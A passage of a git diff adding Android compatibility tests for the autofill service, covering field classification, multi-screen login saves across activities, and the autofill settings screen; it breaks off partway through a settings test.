+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId1
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .setUserData(new UserData.Builder("id2", "TEST2", "cat")
+                        .setFieldClassificationAlgorithm(null, null)
+                        .build())
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "test1");
+
+        // Finish context
+        mAfm.commit();
+
+        final Event packageUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+        assertFillEventForFieldsClassification(packageUserDataEvent, fieldId1.get(), "cat", 0.8F);
+
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setVisitor((contexts, builder) -> fieldId2
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Need to switch focus first
+        mActivity.focusCell(1, 2);
+
+        // Trigger second autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final Event defaultUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+        assertFillEventForFieldsClassification(defaultUserDataEvent, fieldId2.get(), "cat", 1.0F);
+    }
+
+    @Test
+    public void testHit_mergeUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                })
+                .setUserData(new UserData.Builder("id2", "FOOLY", "otherId")
+                        .add("EMPTY", "myId")
+                        .build())
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // u1:  20%, u2: 60%
+        mActivity.setText(1, 2, "empty"); // u1: 100%, u2: 20%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "otherId", "myId" }, new float[] { 0.6F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                });
+    }
+
+    /*
+     * TODO(b/73648631): other scenarios:
+     *
+     * - Multipartition (for example, one response with FieldsDetection, others with datasets,
+     *   saveinfo, and/or ignoredIds)
+     * - make sure detectable fields don't trigger a new partition
+     * v test partial hit (for example, 'fool' instead of 'full'
+     * v multiple fields
+     * v multiple value
+     * - combinations of above items
+     */
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
new file mode 100644
index 0000000..3f08397
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.activities.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.ComponentName;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "Service-specific test")
+public class MultiScreenDifferentActivitiesTest
+        extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    @Test
+    public void testActivityNotDelayedIsNotMerged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger autofill on 1st activity, without using FLAG_DELAY_SAVE
+        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
+                .build());
+
+        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger autofill on 2nd activity
+        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
+                .build());
+        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setText("ID");
+            activity2.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Make sure only second request is available
+        assertThat(saveRequest.contexts).hasSize(1);
+
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+    }
+
+    @Test
+    public void testDelayedActivityIsMerged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger autofill on 1st activity, usingFLAG_DELAY_SAVE
+        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
+                .build());
+
+        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Fill field but don't finish session yet
+        activity1.syncRunOnUiThread(() -> {
+            activity1.mPreInput.setText("PRE");
+        });
+
+        // Trigger autofill on 2nd activity
+        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
+                .build());
+        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setText("ID");
+            activity2.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Make sure both requests are available
+        assertThat(saveRequest.contexts).hasSize(2);
+
+        // Assert 1st request
+        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(structure1).isNotNull();
+        assertTextAndValue(findNodeByResourceId(structure1, ID_PRE_INPUT), "PRE");
+        assertThat(findNodeByResourceId(structure1, ID_INPUT)).isNull();
+        final ComponentName component1 = structure1.getActivityComponent();
+        assertThat(component1).isEqualTo(activity1.getComponentName());
+
+        // Assert 2nd request
+        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(structure2).isNotNull();
+        assertThat(findNodeByResourceId(structure2, ID_PRE_INPUT)).isNull();
+        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
+        final ComponentName component2 = structure2.getActivityComponent();
+        assertThat(component2).isEqualTo(activity2.getComponentName());
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setFocusable(false);
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenLoginTest.java
new file mode 100644
index 0000000..325e22d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenLoginTest.java
@@ -0,0 +1,429 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.PasswordOnlyActivity;
+import android.autofillservice.cts.activities.UsernameOnlyActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.AutofillTestWatcher;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.regex.Pattern;
+
+/**
+ * Test case for the senario where a login screen is split in multiple activities.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class MultiScreenLoginTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<UsernameOnlyActivity> {
+
+    private static final String TAG = "MultiScreenLoginTest";
+    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
+
+    private UsernameOnlyActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<UsernameOnlyActivity> getActivityRule() {
+        return new AutofillActivityTestRule<UsernameOnlyActivity>(UsernameOnlyActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    /**
+     * Tests the "traditional" scenario where the service must save each field (username and
+     * password) separately.
+     */
+    @Test
+    public void testSaveEachFieldSeparately() throws Exception {
+        // Set service
+        enableService();
+
+        // First handle username...
+
+        // Set expectations.
+        final Bundle clientState1 = new Bundle();
+        clientState1.putString("first", "one");
+        clientState1.putString("last", "one");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .setExtras(clientState1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME);
+
+        // ..and assert results
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_USERNAME), "dude");
+        assertThat(saveRequest1.data.getString("first")).isEqualTo("one");
+        assertThat(saveRequest1.data.getString("last")).isEqualTo("one");
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity activity2 = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Set expectations.
+        final Bundle clientState2 = new Bundle();
+        clientState2.putString("second", "two");
+        clientState2.putString("last", "two");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+                .setExtras(clientState2)
+                .build());
+
+        // Trigger autofill
+        activity2.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        activity2.setPassword("sweet");
+        activity2.login();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // ..and assert results
+        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
+        assertThat(saveRequest2.data.getString("first")).isNull();
+        assertThat(saveRequest2.data.getString("second")).isEqualTo("two");
+        assertThat(saveRequest2.data.getString("last")).isEqualTo("two");
+        assertTextAndValue(findNodeByResourceId(saveRequest2.structure, ID_PASSWORD), "sweet");
+    }
+
+    /**
+     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
+     * with the service setting the client state just in the first request (so its passed to both
+     * the second fill request and the save request.
+     */
+    @Test
+    public void testSaveBothFieldsAtOnceNoClientStateOnSecondRequest() throws Exception {
+        // Set service
+        enableService();
+
+        // First handle username...
+
+        // Set expectations.
+        final Bundle clientState1 = new Bundle();
+        clientState1.putString("first", "one");
+        clientState1.putString("last", "one");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setExtras(clientState1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
+        assertThat(component1).isEqualTo(mActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger what would be save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.assertSaveNotShowing();
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        ID_PASSWORD)
+                .build());
+
+        // Trigger autofill
+        passwordActivity.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+        // Client state should come from 1st request
+        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
+        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
+
+        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
+        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        passwordActivity.setPassword("sweet");
+        passwordActivity.login();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
+
+        // ..and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        // Client state should come from 1st request
+        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
+        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
+
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        // Username is set in the 1st context
+        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
+        final ComponentName componentPrevious = previousStructure.getActivityComponent();
+        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
+
+        // Password is set in the 2nd context
+        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
+        final ComponentName componentCurrent = currentStructure.getActivityComponent();
+        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
+    }
+
+    /**
+     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
+     * with the service setting the client state just on both requests (so the 1st client state is
+     * passed to the 2nd request, and the 2nd client state is passed to the save request).
+     */
+    @Test
+    public void testSaveBothFieldsAtOnceWithClientStateOnBothRequests() throws Exception {
+        // Set service
+        enableService();
+
+        // First handle username...
+
+        // Set expectations.
+        final Bundle clientState1 = new Bundle();
+        clientState1.putString("first", "one");
+        clientState1.putString("last", "one");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setExtras(clientState1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
+        assertThat(component1).isEqualTo(mActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger what would be save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.assertSaveNotShowing();
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Set expectations.
+        final Bundle clientState2 = new Bundle();
+        clientState2.putString("second", "two");
+        clientState2.putString("last", "two");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        ID_PASSWORD)
+                .setExtras(clientState2)
+                .build());
+
+        // Trigger autofill
+        passwordActivity.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+        // Client state on 2nd request should come from previous (1st) request
+        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
+        assertThat(fillRequest2.data.getString("second")).isNull();
+        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
+
+        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
+        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        passwordActivity.setPassword("sweet");
+        passwordActivity.login();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
+
+        // ..and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        // Client state on save request should come from last (2nd) request
+        assertThat(saveRequest.data.getString("first")).isNull();
+        assertThat(saveRequest.data.getString("second")).isEqualTo("two");
+        assertThat(saveRequest.data.getString("last")).isEqualTo("two");
+
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        // Username is set in the 1st context
+        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
+        final ComponentName componentPrevious = previousStructure.getActivityComponent();
+        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
+
+        // Password is set in the 2nd context
+        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
+        final ComponentName componentCurrent = currentStructure.getActivityComponent();
+        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
+    }
+
+    @Test
+    public void testSaveBothFieldsCustomDescription_differentIds() throws Exception {
+        saveBothFieldsCustomDescription(false);
+    }
+
+    @Test
+    public void testSaveBothFieldsCustomDescription_sameIds() throws Exception {
+        saveBothFieldsCustomDescription(true);
+    }
+
+    private void saveBothFieldsCustomDescription(boolean sameAutofillId) throws Exception {
+        // Set service
+        enableService();
+
+        // Set ids
+        final AutofillId appUsernameId = mActivity.getUsernameAutofillId();
+        final AutofillId appPasswordId = sameAutofillId ? appUsernameId
+                : mActivity.getAutofillManager().getNextAutofillId();
+        mActivity.setPasswordAutofillId(appPasswordId);
+        Log.d(TAG, "App: usernameId=" + appUsernameId + ", passwordId=" + appPasswordId);
+
+        // First handle username...
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
+        assertThat(component1).isEqualTo(mActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger what would be save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.assertSaveNotShowing();
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Must get AutofillIds from FillRequest, as they contain the proper session ids
+        final AutofillId svcUsernameId = findAutofillIdByResourceId(fillRequest1.contexts.get(0),
+                ID_USERNAME);
+        Log.d(TAG, "Service: usernameId=" + svcUsernameId);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setVisitor((contexts, builder) -> {
+                    final AutofillId svcPasswordId =
+                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
+                    Log.d(TAG, "Service: passwordId=" + svcPasswordId);
+                    final CharSequenceTransformation usernameTrans =
+                            new CharSequenceTransformation.Builder(svcUsernameId, MATCH_ALL, "$1")
+                            .build();
+                    final CharSequenceTransformation passwordTrans =
+                            new CharSequenceTransformation.Builder(svcPasswordId, MATCH_ALL, "$1")
+                            .build();
+                    builder.setSaveInfo(new SaveInfo.Builder(
+                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                            new AutofillId[] {svcPasswordId})
+                            .setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                                    .addChild(R.id.username, usernameTrans)
+                                    .addChild(R.id.password, passwordTrans)
+                                    .build())
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill
+        passwordActivity.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+
+        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
+        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        passwordActivity.setPassword("sweet");
+        passwordActivity.login();
+
+        // ...and assert UI
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
+                SAVE_DATA_TYPE_PASSWORD);
+
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
+    }
+
+    // TODO(b/113281366): add test cases for more scenarios such as:
+    // - make sure that activity not marked with keepAlive is not sent in the 2nd request
+    // - somehow verify that the first activity's session is gone
+    // - WebView
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/SettingsIntentTest.java
new file mode 100644
index 0000000..73cbd450
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/SettingsIntentTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.autofillservice.cts.activities.TrampolineForResultActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.BadAutofillService;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillServiceCompatMode;
+import android.autofillservice.cts.testcore.NoOpAutofillService;
+import android.content.Intent;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.support.test.uiautomator.UiObject2;
+
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.After;
+import org.junit.Test;
+
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public class SettingsIntentTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<TrampolineForResultActivity> {
+
+    private static final int MY_REQUEST_CODE = 42;
+
+
+    protected TrampolineForResultActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<TrampolineForResultActivity> getActivityRule() {
+        return new AutofillActivityTestRule<TrampolineForResultActivity>(
+                TrampolineForResultActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @After
+    public void killSettings() {
+        // Make sure there's no Settings activity left, as it could fail future tests.
+        if (FeatureUtil.isAutomotive()) {
+            runShellCommand("am force-stop com.android.car.settings");
+        } else {
+            runShellCommand("am force-stop com.android.settings");
+        }
+    }
+
+    @Test
+    public void testMultipleServicesShown() throws Exception {
+        disableService();
+
+        // Launches Settings.
+        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
+
+        // Asserts services are shown.
+        mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
+        mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
+        mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
+        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
+
+        // Finishes and asserts result.
+        mUiBot.pressBack();
+        mActivity.assertResult(Activity.RESULT_CANCELED);
+    }
+
+    @Test
+    public void testWarningShown_userRejectsByTappingBack() throws Exception {
+        disableService();
+
+        // Launches Settings.
+        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
+
+        // Asserts services are shown.
